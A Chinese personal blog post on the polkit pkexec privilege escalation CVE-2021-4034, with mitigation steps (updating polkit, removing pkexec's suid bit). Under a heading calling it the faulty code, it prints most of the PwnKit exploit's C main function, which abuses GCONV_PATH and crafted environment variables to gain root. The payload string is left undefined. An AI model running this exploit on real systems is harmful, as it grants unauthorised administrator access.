自我提升指南(一) 阿里云pkexec 中的本地权限提升漏洞 (CVE-2021-4034)
我一登进阿里云,就发现事情不太对一、pkexec ?
polkit 的 pkexec 实用程序中存在一个本地权限提升漏洞。当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。利用成功后,会导致本地特权升级,非特权用户获得管理员权限。二、漏洞危害
影响范围
自2009年以来的所有 Polkit 版本(存在于所有主流的 Linux 发行版中)。
1.错误代码
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
2.修补漏洞
- 更新到最新的polkit版本
centos:yum -y install polkit
ubuntu:apt-get install policykit-1
- 将pkexec的suid权限取消
chmod 0755 /usr/bin/pkexec
结果
需要将 rwsr 权限置为 rwxr 权限
总结
Polkit本地权限提升漏洞(CVE-2021-4034)的漏洞出现的比较突然,没办法预料,那么就需要我们时常关注业内新闻,经常管理查看自己的服务器,以防止他人恶意的攻击或其他方式影响服务器与网站的正常工作。
希望这个博客能对你有所益处。我是轻王,我为自己代言。